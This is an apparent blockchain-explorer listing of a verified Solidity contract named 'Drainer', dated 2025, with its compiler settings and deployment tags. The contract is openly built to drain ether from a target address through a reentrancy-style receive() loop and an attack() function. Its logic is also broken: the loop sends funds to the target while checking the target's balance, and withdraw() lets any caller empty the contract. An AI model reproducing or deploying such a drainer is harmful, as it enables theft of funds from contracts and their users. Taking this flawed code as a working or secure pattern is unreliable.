Drainer

Description:

Smart contract deployed on Ethereum with Factory features.

Blockchain: Ethereum

Source Code: View Code On The Blockchain

Solidity Source Code:

{{
  "language": "Solidity",
  "sources": {
    "drainer.sol": {
      "content": "// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;

contract Drainer {
    address payable public immutable target;
    uint256 public drained;

    constructor(address payable _target) {
        target = _target;
    }

    receive() external payable {
        drained += msg.value;
        while (gasleft() > 200_000 && address(target).balance >= 0.1 ether) {
            (bool ok,) = target.call{value: 0.1 ether}("");
            if (!ok) break;
        }
    }

    function poke() external payable {
        require(msg.value == 0.00001 ether, "send 0.00001 ETH");
        (bool ok,) = target.call{value: msg.value}("");
        require(ok, "poke failed");
    }

    function attack() external payable {
        require(msg.value >= 10 ether);
        (bool ok,) = target.call{value: msg.value}("");
        require(ok, "attack failed");
    }

    function withdraw() external {
        (bool ok,) = msg.sender.call{value: address(this).balance}("");
        require(ok, "withdraw failed");
    }
}"
    }
  },
  "settings": {
    "optimizer": {
      "enabled": false,
      "runs": 200
    },
    "outputSelection": {
      "*": {
        "*": [
          "evm.bytecode",
          "evm.deployedBytecode",
          "devdoc",
          "userdoc",
          "metadata",
          "abi"
        ]
      }
    },
    "remappings": []
  }
}}

Tags:
Factory|addr:0xd46ff83908ee8b08819f373ef391e08a080710af|verified:true|block:23688808|tx:0x964fd47917436237411e39b0fcf28ef65d90a4791512fda04e39d8e15ea222ec|first_check:1761827669

Submitted on: 2025-10-30 13:34:31

Comments

Log in to comment.

No comments yet.